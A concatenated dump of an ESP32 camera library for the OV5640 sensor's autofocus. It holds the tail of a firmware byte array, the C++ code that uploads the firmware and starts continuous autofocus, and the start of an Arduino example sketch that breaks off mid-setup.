0xa6, 0x06, 0x08, 0xa6, //0x8770, 0x07, 0xaf, 0x45, 0x12, 0x0b, 0xb2, 0xad, 0x03, 0x7c, 0x00, 0x12, 0x04, 0xd3, 0x78, 0x56, 0xa6, //0x8780, 0x06, 0x08, 0xa6, 0x07, 0xaf, 0x48, 0x78, 0x54, 0x12, 0x0b, 0xb4, 0xe5, 0x43, 0xfb, 0xfd, 0x7c, //0x8790, 0x00, 0x12, 0x04, 0xd3, 0x78, 0x5c, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0xaf, 0x46, 0x7e, 0x00, 0x78, //0x87a0, 0x54, 0x12, 0x0b, 0xb6, 0xad, 0x03, 0x7c, 0x00, 0x12, 0x04, 0xd3, 0x78, 0x58, 0xa6, 0x06, 0x08, //0x87b0, 0xa6, 0x07, 0xc3, 0x78, 0x5b, 0xe6, 0x94, 0x08, 0x18, 0xe6, 0x94, 0x00, 0x50, 0x05, 0x76, 0x00, //0x87c0, 0x08, 0x76, 0x08, 0xc3, 0x78, 0x5d, 0xe6, 0x94, 0x08, 0x18, 0xe6, 0x94, 0x00, 0x50, 0x05, 0x76, //0x87d0, 0x00, 0x08, 0x76, 0x08, 0x78, 0x5a, 0x12, 0x0b, 0xc6, 0xff, 0xd3, 0x78, 0x57, 0xe6, 0x9f, 0x18, //0x87e0, 0xe6, 0x9e, 0x40, 0x0e, 0x78, 0x5a, 0xe6, 0x13, 0xfe, 0x08, 0xe6, 0x78, 0x57, 0x12, 0x0c, 0x08, //0x87f0, 0x80, 0x04, 0x7e, 0x00, 0x7f, 0x00, 0x78, 0x5e, 0x12, 0x0b, 0xbe, 0xff, 0xd3, 0x78, 0x59, 0xe6, //0x8800, 0x9f, 0x18, 0xe6, 0x9e, 0x40, 0x0e, 0x78, 0x5c, 0xe6, 0x13, 0xfe, 0x08, 0xe6, 0x78, 0x59, 0x12, //0x8810, 0x0c, 0x08, 0x80, 0x04, 0x7e, 0x00, 0x7f, 0x00, 0xe4, 0xfc, 0xfd, 0x78, 0x62, 0x12, 0x06, 0x99, //0x8820, 0x78, 0x5a, 0x12, 0x0b, 0xc6, 0x78, 0x57, 0x26, 0xff, 0xee, 0x18, 0x36, 0xfe, 0x78, 0x66, 0x12, //0x8830, 0x0b, 0xbe, 0x78, 0x59, 0x26, 0xff, 0xee, 0x18, 0x36, 0xfe, 0xe4, 0xfc, 0xfd, 0x78, 0x6a, 0x12, //0x8840, 0x06, 0x99, 0x12, 0x0b, 0xce, 0x78, 0x66, 0x12, 0x06, 0x8c, 0xd3, 0x12, 0x06, 0x45, 0x40, 0x08, //0x8850, 0x12, 0x0b, 0xce, 0x78, 0x66, 0x12, 0x06, 0x99, 0x78, 0x54, 0x12, 0x0b, 0xd0, 0x78, 0x6a, 0x12, //0x8860, 0x06, 0x8c, 0xd3, 0x12, 0x06, 0x45, 0x40, 0x0a, 0x78, 0x54, 0x12, 0x0b, 0xd0, 0x78, 0x6a, 0x12, //0x8870, 0x06, 0x99, 0x78, 0x61, 0xe6, 0x90, 0x60, 0x01, 0xf0, 0x78, 0x65, 0xe6, 0xa3, 0xf0, 0x78, 0x69, //0x8880, 0xe6, 0xa3, 0xf0, 0x78, 0x55, 0xe6, 0xa3, 0xf0, 0x7d, 0x01, 0x78, 0x61, 0x12, 0x0b, 0xe9, 0x24, //0x8890, 0x01, 0x12, 0x0b, 0xa6, 0x78, 0x65, 0x12, 0x0b, 0xe9, 0x24, 0x02, 0x12, 0x0b, 0xa6, 0x78, 0x69, //0x88a0, 0x12, 0x0b, 0xe9, 0x24, 0x03, 0x12, 0x0b, 0xa6, 0x78, 0x6d, 0x12, 0x0b, 0xe9, 0x24, 0x04, 0x12, //0x88b0, 0x0b, 0xa6, 0x0d, 0xbd, 0x05, 0xd4, 0xc2, 0x0e, 0xc2, 0x06, 0x22, 0x85, 0x08, 0x41, 0x90, 0x30, //0x88c0, 0x24, 0xe0, 0xf5, 0x3d, 0xa3, 0xe0, 0xf5, 0x3e, 0xa3, 0xe0, 0xf5, 0x3f, 0xa3, 0xe0, 0xf5, 0x40, //0x88d0, 0xa3, 0xe0, 0xf5, 0x3c, 0xd2, 0x34, 0xe5, 0x41, 0x12, 0x06, 0xb1, 0x09, 0x31, 0x03, 0x09, 0x35, //0x88e0, 0x04, 0x09, 0x3b, 0x05, 0x09, 0x3e, 0x06, 0x09, 0x41, 0x07, 0x09, 0x4a, 0x08, 0x09, 0x5b, 0x12, //0x88f0, 0x09, 0x73, 0x18, 0x09, 0x89, 0x19, 0x09, 0x5e, 0x1a, 0x09, 0x6a, 0x1b, 0x09, 0xad, 0x80, 0x09, //0x8900, 0xb2, 0x81, 0x0a, 0x1d, 0x8f, 0x0a, 0x09, 0x90, 0x0a, 0x1d, 0x91, 0x0a, 0x1d, 0x92, 0x0a, 0x1d, //0x8910, 0x93, 0x0a, 0x1d, 0x94, 0x0a, 0x1d, 0x98, 0x0a, 0x17, 0x9f, 0x0a, 0x1a, 0xec, 0x00, 0x00, 0x0a, //0x8920, 0x38, 0x12, 0x0f, 0x74, 0x22, 0x12, 0x0f, 0x74, 0xd2, 0x03, 0x22, 0xd2, 0x03, 0x22, 0xc2, 0x03, //0x8930, 0x22, 0xa2, 0x37, 0xe4, 0x33, 0xf5, 0x3c, 0x02, 0x0a, 0x1d, 0xc2, 0x01, 0xc2, 0x02, 0xc2, 0x03, //0x8940, 0x12, 0x0d, 0x0d, 0x75, 0x1e, 0x70, 0xd2, 0x35, 0x02, 0x0a, 0x1d, 0x02, 0x0a, 0x04, 0x85, 0x40, //0x8950, 0x4a, 0x85, 0x3c, 0x4b, 0x12, 0x0a, 0xff, 0x02, 0x0a, 0x1d, 0x85, 0x4a, 0x40, 0x85, 0x4b, 0x3c, //0x8960, 0x02, 0x0a, 0x1d, 0xe4, 0xf5, 0x22, 0xf5, 0x23, 0x85, 0x40, 0x31, 0x85, 0x3f, 0x30, 0x85, 0x3e, //0x8970, 0x2f, 0x85, 0x3d, 0x2e, 0x12, 0x0f, 0x46, 0x80, 0x1f, 0x75, 0x22, 0x00, 0x75, 0x23, 0x01, 0x74, //0x8980, 0xff, 0xf5, 0x2d, 0xf5, 0x2c, 0xf5, 0x2b, 0xf5, 0x2a, 0x12, 0x0f, 0x46, 0x85, 0x2d, 0x40, 0x85, //0x8990, 0x2c, 0x3f, 0x85, 0x2b, 0x3e, 0x85, 0x2a, 0x3d, 0xe4, 0xf5, 0x3c, 0x80, 0x70, 0x12, 0x0f, 0x16, //0x89a0, 0x80, 0x6b, 0x85, 0x3d, 0x45, 0x85, 0x3e, 0x46, 0xe5, 0x47, 0xc3, 0x13, 0xff, 0xe5, 0x45, 0xc3, //0x89b0, 0x9f, 0x50, 0x02, 0x8f, 0x45, 0xe5, 0x48, 0xc3, 0x13, 0xff, 0xe5, 0x46, 0xc3, 0x9f, 0x50, 0x02, //0x89c0, 0x8f, 0x46, 0xe5, 0x47, 0xc3, 0x13, 0xff, 0xfd, 0xe5, 0x45, 0x2d, 0xfd, 0xe4, 0x33, 0xfc, 0xe5, //0x89d0, 0x44, 0x12, 0x0f, 0x90, 0x40, 0x05, 0xe5, 0x44, 0x9f, 0xf5, 0x45, 0xe5, 0x48, 0xc3, 0x13, 0xff, //0x89e0, 0xfd, 0xe5, 0x46, 0x2d, 0xfd, 0xe4, 0x33, 0xfc, 0xe5, 0x43, 0x12, 0x0f, 0x90, 0x40, 0x05, 0xe5, //0x89f0, 0x43, 0x9f, 0xf5, 0x46, 0x12, 0x06, 0xd7, 0x80, 0x14, 0x85, 0x40, 0x48, 0x85, 0x3f, 0x47, 0x85, //0x8a00, 0x3e, 0x46, 0x85, 0x3d, 0x45, 0x80, 0x06, 0x02, 0x06, 0xd7, 0x12, 0x0d, 0x7e, 0x90, 0x30, 0x24, //0x8a10, 0xe5, 0x3d, 0xf0, 0xa3, 0xe5, 0x3e, 0xf0, 0xa3, 0xe5, 0x3f, 0xf0, 0xa3, 0xe5, 0x40, 0xf0, 0xa3, //0x8a20, 0xe5, 0x3c, 0xf0, 0x90, 0x30, 0x23, 0xe4, 0xf0, 0x22, 0xc0, 0xe0, 0xc0, 0x83, 0xc0, 0x82, 0xc0, //0x8a30, 0xd0, 0x90, 0x3f, 0x0c, 0xe0, 0xf5, 0x32, 0xe5, 0x32, 0x30, 0xe3, 0x74, 0x30, 0x36, 0x66, 0x90, //0x8a40, 0x60, 0x19, 0xe0, 0xf5, 0x0a, 0xa3, 0xe0, 0xf5, 0x0b, 0x90, 0x60, 0x1d, 0xe0, 0xf5, 0x14, 0xa3, //0x8a50, 0xe0, 0xf5, 0x15, 0x90, 0x60, 0x21, 0xe0, 0xf5, 0x0c, 0xa3, 0xe0, 0xf5, 0x0d, 0x90, 0x60, 0x29, //0x8a60, 0xe0, 0xf5, 0x0e, 0xa3, 0xe0, 0xf5, 0x0f, 0x90, 0x60, 0x31, 0xe0, 0xf5, 0x10, 0xa3, 0xe0, 0xf5, //0x8a70, 0x11, 0x90, 0x60, 0x39, 0xe0, 0xf5, 0x12, 0xa3, 0xe0, 0xf5, 0x13, 0x30, 0x01, 0x06, 0x30, 0x33, //0x8a80, 0x03, 0xd3, 0x80, 0x01, 0xc3, 0x92, 0x09, 0x30, 0x02, 0x06, 0x30, 0x33, 0x03, 0xd3, 0x80, 0x01, //0x8a90, 0xc3, 0x92, 0x0a, 0x30, 0x33, 0x0c, 0x30, 0x03, 0x09, 0x20, 0x02, 0x06, 0x20, 0x01, 0x03, 0xd3, //0x8aa0, 0x80, 0x01, 0xc3, 0x92, 0x0b, 0x90, 0x30, 0x01, 0xe0, 0x44, 0x40, 0xf0, 0xe0, 0x54, 0xbf, 0xf0, //0x8ab0, 0xe5, 0x32, 0x30, 0xe1, 0x14, 0x30, 0x34, 0x11, 0x90, 0x30, 0x22, 0xe0, 0xf5, 0x08, 0xe4, 0xf0, //0x8ac0, 0x30, 0x00, 0x03, 0xd3, 0x80, 0x01, 0xc3, 0x92, 0x08, 0xe5, 0x32, 0x30, 0xe5, 0x12, 0x90, 0x56, //0x8ad0, 0xa1, 0xe0, 0xf5, 0x09, 0x30, 0x31, 0x09, 0x30, 0x05, 0x03, 0xd3, 0x80, 0x01, 0xc3, 0x92, 0x0d, //0x8ae0, 0x90, 0x3f, 0x0c, 0xe5, 0x32, 0xf0, 0xd0, 0xd0, 0xd0, 0x82, 0xd0, 0x83, 0xd0, 0xe0, 0x32, 0x90, //0x8af0, 0x0e, 0x7e, 0xe4, 0x93, 0xfe, 0x74, 0x01, 0x93, 0xff, 0xc3, 0x90, 0x0e, 0x7c, 0x74, 0x01, 0x93, //0x8b00, 0x9f, 0xff, 0xe4, 0x93, 0x9e, 0xfe, 0xe4, 0x8f, 0x3b, 0x8e, 0x3a, 0xf5, 0x39, 0xf5, 0x38, 0xab, //0x8b10, 0x3b, 0xaa, 0x3a, 0xa9, 0x39, 0xa8, 0x38, 0xaf, 0x4b, 0xfc, 0xfd, 0xfe, 0x12, 0x05, 0x28, 0x12, //0x8b20, 0x0d, 0xe1, 0xe4, 0x7b, 0xff, 0xfa, 0xf9, 0xf8, 0x12, 0x05, 0xb3, 0x12, 0x0d, 0xe1, 0x90, 0x0e, //0x8b30, 0x69, 0xe4, 0x12, 0x0d, 0xf6, 0x12, 0x0d, 0xe1, 0xe4, 0x85, 0x4a, 0x37, 0xf5, 0x36, 0xf5, 0x35, //0x8b40, 0xf5, 0x34, 0xaf, 0x37, 0xae, 0x36, 0xad, 0x35, 0xac, 0x34, 0xa3, 0x12, 0x0d, 0xf6, 0x8f, 0x37, //0x8b50, 0x8e, 0x36, 0x8d, 0x35, 0x8c, 0x34, 0xe5, 0x3b, 0x45, 0x37, 0xf5, 0x3b, 0xe5, 0x3a, 0x45, 0x36, //0x8b60, 0xf5, 0x3a, 0xe5, 0x39, 0x45, 0x35, 0xf5, 0x39, 0xe5, 0x38, 0x45, 0x34, 0xf5, 0x38, 0xe4, 0xf5, //0x8b70, 0x22, 0xf5, 0x23, 0x85, 0x3b, 0x31, 0x85, 0x3a, 0x30, 0x85, 0x39, 0x2f, 0x85, 0x38, 0x2e, 0x02, //0x8b80, 0x0f, 0x46, 0xe0, 0xa3, 0xe0, 0x75, 0xf0, 0x02, 0xa4, 0xff, 0xae, 0xf0, 0xc3, 0x08, 0xe6, 0x9f, //0x8b90, 0xf6, 0x18, 0xe6, 0x9e, 0xf6, 0x22, 0xff, 0xe5, 0xf0, 0x34, 0x60, 0x8f, 0x82, 0xf5, 0x83, 0xec, //0x8ba0, 0xf0, 0x22, 0x78, 0x52, 0x7e, 0x00, 0xe6, 0xfc, 0x08, 0xe6, 0xfd, 0x02, 0x04, 0xc1, 0xe4, 0xfc, //0x8bb0, 0xfd, 0x12, 0x06, 0x99, 0x78, 0x5c, 0xe6, 0xc3, 0x13, 0xfe, 0x08, 0xe6, 0x13, 0x22, 0x78, 0x52, //0x8bc0, 0xe6, 0xfe, 0x08, 0xe6, 0xff, 0xe4, 0xfc, 0xfd, 0x22, 0xe7, 0xc4, 0xf8, 0x54, 0xf0, 0xc8, 0x68, //0x8bd0, 0xf7, 0x09, 0xe7, 0xc4, 0x54, 0x0f, 0x48, 0xf7, 0x22, 0xe6, 0xfc, 0xed, 0x75, 0xf0, 0x04, 0xa4, //0x8be0, 0x22, 0x12, 0x06, 0x7c, 0x8f, 0x48, 0x8e, 0x47, 0x8d, 0x46, 0x8c, 0x45, 0x22, 0xe0, 0xfe, 0xa3, //0x8bf0, 0xe0, 0xfd, 0xee, 0xf6, 0xed, 0x08, 0xf6, 0x22, 0x13, 0xff, 0xc3, 0xe6, 0x9f, 0xff, 0x18, 0xe6, //0x8c00, 0x9e, 0xfe, 0x22, 0xe6, 0xc3, 0x13, 0xf7, 0x08, 0xe6, 0x13, 0x09, 0xf7, 0x22, 0xad, 0x39, 0xac, //0x8c10, 0x38, 0xfa, 0xf9, 0xf8, 0x12, 0x05, 0x28, 0x8f, 0x3b, 0x8e, 0x3a, 0x8d, 0x39, 0x8c, 0x38, 0xab, //0x8c20, 0x37, 0xaa, 0x36, 0xa9, 0x35, 0xa8, 0x34, 0x22, 0x93, 0xff, 0xe4, 0xfc, 0xfd, 0xfe, 0x12, 0x05, //0x8c30, 0x28, 0x8f, 0x37, 0x8e, 0x36, 0x8d, 0x35, 0x8c, 0x34, 0x22, 0x78, 0x84, 0xe6, 0xfe, 0x08, 0xe6, //0x8c40, 0xff, 0xe4, 0x8f, 0x37, 0x8e, 0x36, 0xf5, 0x35, 0xf5, 0x34, 0x22, 0x90, 0x0e, 0x8c, 0xe4, 0x93, //0x8c50, 0x25, 0xe0, 0x24, 0x0a, 0xf8, 0xe6, 0xfe, 0x08, 0xe6, 0xff, 0x22, 0xe6, 0xfe, 0x08, 0xe6, 0xff, //0x8c60, 0xe4, 0x8f, 0x3b, 0x8e, 0x3a, 0xf5, 0x39, 0xf5, 0x38, 0x22, 0x78, 0x4e, 0xe6, 0xfe, 0x08, 0xe6, //0x8c70, 0xff, 0x22, 0xef, 0x25, 0xe0, 0x24, 0x4e, 0xf8, 0xe6, 0xfc, 0x08, 0xe6, 0xfd, 0x22, 0x78, 0x89, //0x8c80, 0xef, 0x26, 0xf6, 0x18, 0xe4, 0x36, 0xf6, 0x22, 0x75, 0x89, 0x03, 0x75, 0xa8, 0x01, 0x75, 0xb8, //0x8c90, 0x04, 0x75, 0x34, 0xff, 0x75, 0x35, 0x0e, 0x75, 0x36, 0x15, 0x75, 0x37, 0x0d, 0x12, 0x0e, 0x9a, //0x8ca0, 0x12, 0x00, 0x09, 0x12, 0x0f, 0x16, 0x12, 0x00, 0x06, 0xd2, 0x00, 0xd2, 0x34, 0xd2, 0xaf, 0x75, //0x8cb0, 0x34, 0xff, 0x75, 0x35, 0x0e, 0x75, 0x36, 0x49, 0x75, 0x37, 0x03, 0x12, 0x0e, 0x9a, 0x30, 0x08, //0x8cc0, 0x09, 0xc2, 0x34, 0x12, 0x08, 0xcb, 0xc2, 0x08, 0xd2, 0x34, 0x30, 0x0b, 0x09, 0xc2, 0x36, 0x12, //0x8cd0, 0x02, 0x6c, 0xc2, 0x0b, 0xd2, 0x36, 0x30, 0x09, 0x09, 0xc2, 0x36, 0x12, 0x00, 0x0e, 0xc2, 0x09, //0x8ce0, 0xd2, 0x36, 0x30, 0x0e, 0x03, 0x12, 0x06, 0xd7, 0x30, 0x35, 0xd3, 0x90, 0x30, 0x29, 0xe5, 0x1e, //0x8cf0, 0xf0, 0xb4, 0x10, 0x05, 0x90, 0x30, 0x23, 0xe4, 0xf0, 0xc2, 0x35, 0x80, 0xc1, 0xe4, 0xf5, 0x4b, //0x8d00, 0x90, 0x0e, 0x7a, 0x93, 0xff, 0xe4, 0x8f, 0x37, 0xf5, 0x36, 0xf5, 0x35, 0xf5, 0x34, 0xaf, 0x37, //0x8d10, 0xae, 0x36, 0xad, 0x35, 0xac, 0x34, 0x90, 0x0e, 0x6a, 0x12, 0x0d, 0xf6, 0x8f, 0x37, 0x8e, 0x36, //0x8d20, 0x8d, 0x35, 0x8c, 0x34, 0x90, 0x0e, 0x72, 0x12, 0x06, 0x7c, 0xef, 0x45, 0x37, 0xf5, 0x37, 0xee, //0x8d30, 0x45, 0x36, 0xf5, 0x36, 0xed, 0x45, 0x35, 0xf5, 0x35, 0xec, 0x45, 0x34, 0xf5, 0x34, 0xe4, 0xf5, //0x8d40, 0x22, 0xf5, 0x23, 0x85, 0x37, 0x31, 0x85, 0x36, 0x30, 0x85, 0x35, 0x2f, 0x85, 0x34, 0x2e, 0x12, //0x8d50, 0x0f, 0x46, 0xe4, 0xf5, 0x22, 0xf5, 0x23, 0x90, 0x0e, 0x72, 0x12, 0x0d, 0xea, 0x12, 0x0f, 0x46, //0x8d60, 0xe4, 0xf5, 0x22, 0xf5, 0x23, 0x90, 0x0e, 0x6e, 0x12, 0x0d, 0xea, 0x02, 0x0f, 0x46, 0xe5, 0x40, //0x8d70, 0x24, 0xf2, 0xf5, 0x37, 0xe5, 0x3f, 0x34, 0x43, 0xf5, 0x36, 0xe5, 0x3e, 0x34, 0xa2, 0xf5, 0x35, //0x8d80, 0xe5, 0x3d, 0x34, 0x28, 0xf5, 0x34, 0xe5, 0x37, 0xff, 0xe4, 0xfe, 0xfd, 0xfc, 0x78, 0x18, 0x12, //0x8d90, 0x06, 0x69, 0x8f, 0x40, 0x8e, 0x3f, 0x8d, 0x3e, 0x8c, 0x3d, 0xe5, 0x37, 0x54, 0xa0, 0xff, 0xe5, //0x8da0, 0x36, 0xfe, 0xe4, 0xfd, 0xfc, 0x78, 0x07, 0x12, 0x06, 0x56, 0x78, 0x10, 0x12, 0x0f, 0x9a, 0xe4, //0x8db0, 0xff, 0xfe, 0xe5, 0x35, 0xfd, 0xe4, 0xfc, 0x78, 0x0e, 0x12, 0x06, 0x56, 0x12, 0x0f, 0x9d, 0xe4, //0x8dc0, 0xff, 0xfe, 0xfd, 0xe5, 0x34, 0xfc, 0x78, 0x18, 0x12, 0x06, 0x56, 0x78, 0x08, 0x12, 0x0f, 0x9a, //0x8dd0, 0x22, 0x8f, 0x3b, 0x8e, 0x3a, 0x8d, 0x39, 0x8c, 0x38, 0x22, 0x12, 0x06, 0x7c, 0x8f, 0x31, 0x8e, //0x8de0, 0x30, 0x8d, 0x2f, 0x8c, 0x2e, 0x22, 0x93, 0xf9, 0xf8, 0x02, 0x06, 0x69, 0x00, 0x00, 0x00, 0x00, //0x8df0, 0x12, 0x01, 0x17, 0x08, 0x31, 0x15, 0x53, 0x54, 0x44, 0x20, 0x20, 0x20, 0x20, 0x20, 0x13, 0x01, //0x8e00, 0x10, 0x01, 0x56, 0x40, 0x1a, 0x30, 0x29, 0x7e, 0x00, 0x30, 0x04, 0x20, 0xdf, 0x30, 0x05, 0x40, //0x8e10, 0xbf, 0x50, 0x03, 0x00, 0xfd, 0x50, 0x27, 0x01, 0xfe, 0x60, 0x00, 0x11, 0x00, 0x3f, 0x05, 0x30, //0x8e20, 0x00, 0x3f, 0x06, 0x22, 0x00, 0x3f, 0x01, 0x2a, 0x00, 0x3f, 0x02, 0x00, 0x00, 0x36, 0x06, 0x07, //0x8e30, 0x00, 0x3f, 0x0b, 0x0f, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x40, 0xbf, 0x30, 0x01, 0x00, //0x8e40, 0xbf, 0x30, 0x29, 0x70, 0x00, 0x3a, 0x00, 0x00, 0xff, 0x3a, 0x00, 0x00, 0xff, 0x36, 0x03, 0x36, //0x8e50, 0x02, 0x41, 0x44, 0x58, 0x20, 0x18, 0x10, 0x0a, 0x04, 0x04, 0x00, 0x03, 0xff, 0x64, 0x00, 0x00, //0x8e60, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x04, 0x06, 0x06, 0x00, 0x03, 0x51, 0x00, 0x7a, //0x8e70, 0x50, 0x3c, 0x28, 0x1e, 0x10, 0x10, 0x50, 0x2d, 0x28, 0x16, 0x10, 0x10, 0x02, 0x00, 0x10, 0x0c, //0x8e80, 0x10, 0x04, 0x0c, 0x6e, 0x06, 0x05, 0x00, 0xa5, 0x5a, 0x00, 0xae, 0x35, 0xaf, 0x36, 0xe4, 0xfd, //0x8e90, 0xed, 0xc3, 0x95, 0x37, 0x50, 0x33, 0x12, 0x0f, 0xe2, 0xe4, 0x93, 0xf5, 0x38, 0x74, 0x01, 0x93, //0x8ea0, 0xf5, 0x39, 0x45, 0x38, 0x60, 0x23, 0x85, 0x39, 0x82, 0x85, 0x38, 0x83, 0xe0, 0xfc, 0x12, 0x0f, //0x8eb0, 0xe2, 0x74, 0x03, 0x93, 0x52, 0x04, 0x12, 0x0f, 0xe2, 0x74, 0x02, 0x93, 0x42, 0x04, 0x85, 0x39, //0x8ec0, 0x82, 0x85, 0x38, 0x83, 0xec, 0xf0, 0x0d, 0x80, 0xc7, 0x22, 0x78, 0xbe, 0xe6, 0xd3, 0x08, 0xff, //0x8ed0, 0xe6, 0x64, 0x80, 0xf8, 0xef, 0x64, 0x80, 0x98, 0x22, 0x93, 0xff, 0x7e, 0x00, 0xe6, 0xfc, 0x08, //0x8ee0, 0xe6, 0xfd, 0x12, 0x04, 0xc1, 0x78, 0xc1, 0xe6, 0xfc, 0x08, 0xe6, 0xfd, 0xd3, 0xef, 0x9d, 0xee, //0x8ef0, 0x9c, 0x22, 0x78, 0xbd, 0xd3, 0xe6, 0x64, 0x80, 0x94, 0x80, 0x22, 0x25, 0xe0, 0x24, 0x0a, 0xf8, //0x8f00, 0xe6, 0xfe, 0x08, 0xe6, 0xff, 0x22, 0xe5, 0x3c, 0xd3, 0x94, 0x00, 0x40, 0x0b, 0x90, 0x0e, 0x88, //0x8f10, 0x12, 0x0b, 0xf1, 0x90, 0x0e, 0x86, 0x80, 0x09, 0x90, 0x0e, 0x82, 0x12, 0x0b, 0xf1, 0x90, 0x0e, //0x8f20, 0x80, 0xe4, 0x93, 0xf5, 0x44, 0xa3, 0xe4, 0x93, 0xf5, 0x43, 0xd2, 0x06, 0x30, 0x06, 0x03, 0xd3, //0x8f30, 0x80, 0x01, 0xc3, 0x92, 0x0e, 0x22, 0xa2, 0xaf, 0x92, 0x32, 0xc2, 0xaf, 0xe5, 0x23, 0x45, 0x22, //0x8f40, 0x90, 0x0e, 0x5d, 0x60, 0x0e, 0x12, 0x0f, 0xcb, 0xe0, 0xf5, 0x2c, 0x12, 0x0f, 0xc8, 0xe0, 0xf5, //0x8f50, 0x2d, 0x80, 0x0c, 0x12, 0x0f, 0xcb, 0xe5, 0x30, 0xf0, 0x12, 0x0f, 0xc8, 0xe5, 0x31, 0xf0, 0xa2, //0x8f60, 0x32, 0x92, 0xaf, 0x22, 0xd2, 0x01, 0xc2, 0x02, 0xe4, 0xf5, 0x1f, 0xf5, 0x1e, 0xd2, 0x35, 0xd2, //0x8f70, 0x33, 0xd2, 0x36, 0xd2, 0x01, 0xc2, 0x02, 0xf5, 0x1f, 0xf5, 0x1e, 0xd2, 0x35, 0xd2, 0x33, 0x22, //0x8f80, 0xfb, 0xd3, 0xed, 0x9b, 0x74, 0x80, 0xf8, 0x6c, 0x98, 0x22, 0x12, 0x06, 0x69, 0xe5, 0x40, 0x2f, //0x8f90, 0xf5, 0x40, 0xe5, 0x3f, 0x3e, 0xf5, 0x3f, 0xe5, 0x3e, 0x3d, 0xf5, 0x3e, 0xe5, 0x3d, 0x3c, 0xf5, //0x8fa0, 0x3d, 0x22, 0xc0, 0xe0, 0xc0, 0x83, 0xc0, 0x82, 0x90, 0x3f, 0x0d, 0xe0, 0xf5, 0x33, 0xe5, 0x33, //0x8fb0, 0xf0, 0xd0, 0x82, 0xd0, 0x83, 0xd0, 0xe0, 0x32, 0x90, 0x0e, 0x5f, 0xe4, 0x93, 0xfe, 0x74, 0x01, //0x8fc0, 0x93, 0xf5, 0x82, 0x8e, 0x83, 0x22, 0x78, 0x7f, 0xe4, 0xf6, 0xd8, 0xfd, 0x75, 0x81, 0xcd, 0x02, //0x8fd0, 0x0c, 0x98, 0x8f, 0x82, 0x8e, 0x83, 0x75, 0xf0, 0x04, 0xed, 0x02, 0x06, 0xa5, //0x8fe0 };
0015/ESP32-OV5640-AF
2,413
src/ESP32_OV5640_AF.cpp
/* ESP32_OV5640_AF.cpp - Library for OV5640 Auto Focus (ESP32 Camera) Created by Eric Nam, December 08, 2021. Released into the public domain. */ #include "ESP32_OV5640_AF.h" OV5640::OV5640() { isOV5640 = false; } bool OV5640::start(sensor_t* _sensor) { sensor = _sensor; uint8_t vid, pid; vid = sensor->get_reg(sensor, OV5640_CHIPID_HIGH, 0xff); pid = sensor->get_reg(sensor, OV5640_CHIPID_LOW, 0xff); isOV5640 = (vid == 0x56) && (pid == 0x40); return isOV5640; } uint8_t OV5640::focusInit() { if (!isOV5640) return -1; uint16_t i; uint16_t addr = 0x8000; uint8_t state = 0x8F; uint8_t rc = 0; rc = sensor->set_reg(sensor, 0x3000, 0xff, 0x20); //reset if (rc < 0) return -1; for (i = 0; i < sizeof(OV5640_AF_Config); i++) { rc = sensor->set_reg(sensor, addr, 0xff, OV5640_AF_Config[i]); if (rc < 0) return -1; addr++; } sensor->set_reg(sensor, OV5640_CMD_MAIN, 0xff, 0x00); sensor->set_reg(sensor, OV5640_CMD_ACK, 0xff, 0x00); sensor->set_reg(sensor, OV5640_CMD_PARA0, 0xff, 0x00); sensor->set_reg(sensor, OV5640_CMD_PARA1, 0xff, 0x00); sensor->set_reg(sensor, OV5640_CMD_PARA2, 0xff, 0x00); sensor->set_reg(sensor, OV5640_CMD_PARA3, 0xff, 0x00); sensor->set_reg(sensor, OV5640_CMD_PARA4, 0xff, 0x00); sensor->set_reg(sensor, OV5640_CMD_FW_STATUS, 0xff, 0x7f); sensor->set_reg(sensor, 0x3000, 0xff, 0x00); i = 0; do { state = sensor->get_reg(sensor, 0x3029, 0xff); delay(5); i++; if (i > 1000) return 1; } while (state != FW_STATUS_S_IDLE); return 0; } uint8_t OV5640::autoFocusMode() { if (!isOV5640) return -1; uint8_t rc = 0; uint8_t temp = 0; uint16_t retry = 0; rc = sensor->set_reg(sensor, OV5640_CMD_MAIN, 0xff, 0x01); rc = sensor->set_reg(sensor, OV5640_CMD_MAIN, 0xff, 0x08); do { temp = sensor->get_reg(sensor, OV5640_CMD_ACK, 0xff); retry++; if (retry > 1000) return 2; delay(5); } while (temp != 0x00); rc = sensor->set_reg(sensor, OV5640_CMD_ACK, 0xff, 0x01); rc = sensor->set_reg(sensor, OV5640_CMD_MAIN, 0xff, AF_CONTINUE_AUTO_FOCUS); retry = 0; do { temp = sensor->get_reg(sensor, OV5640_CMD_ACK, 0xff); retry++; if (retry > 1000) return 2; delay(5); } while (temp != 0x00); return 0; } uint8_t OV5640::getFWStatus() { if (!isOV5640) return -1; uint8_t rc = sensor->get_reg(sensor, OV5640_CMD_FW_STATUS, 0xff); return rc; }
0015/ESP32-OV5640-AF
2,478
examples/OV5640_Console_Test/OV5640_Console_Test.ino
#include "esp_camera.h" #include "ESP32_OV5640_AF.h" // ESP32 AI-THINKER Board #define PWDN_GPIO_NUM 32 #define RESET_GPIO_NUM -1 #define XCLK_GPIO_NUM 0 #define SIOD_GPIO_NUM 26 #define SIOC_GPIO_NUM 27 #define Y9_GPIO_NUM 35 #define Y8_GPIO_NUM 34 #define Y7_GPIO_NUM 39 #define Y6_GPIO_NUM 36 #define Y5_GPIO_NUM 21 #define Y4_GPIO_NUM 19 #define Y3_GPIO_NUM 18 #define Y2_GPIO_NUM 5 #define VSYNC_GPIO_NUM 25 #define HREF_GPIO_NUM 23 #define PCLK_GPIO_NUM 22 OV5640 ov5640 = OV5640(); void setup() { Serial.begin(115200); camera_config_t config; config.ledc_channel = LEDC_CHANNEL_0; config.ledc_timer = LEDC_TIMER_0; config.pin_d0 = Y2_GPIO_NUM; config.pin_d1 = Y3_GPIO_NUM; config.pin_d2 = Y4_GPIO_NUM; config.pin_d3 = Y5_GPIO_NUM; config.pin_d4 = Y6_GPIO_NUM; config.pin_d5 = Y7_GPIO_NUM; config.pin_d6 = Y8_GPIO_NUM; config.pin_d7 = Y9_GPIO_NUM; config.pin_xclk = XCLK_GPIO_NUM; config.pin_pclk = PCLK_GPIO_NUM; config.pin_vsync = VSYNC_GPIO_NUM; config.pin_href = HREF_GPIO_NUM; config.pin_sscb_sda = SIOD_GPIO_NUM; config.pin_sscb_scl = SIOC_GPIO_NUM; config.pin_pwdn = PWDN_GPIO_NUM; config.pin_reset = RESET_GPIO_NUM; config.xclk_freq_hz = 20000000; config.pixel_format = PIXFORMAT_JPEG; config.frame_size = FRAMESIZE_VGA; config.jpeg_quality = 10; config.fb_count = 2; 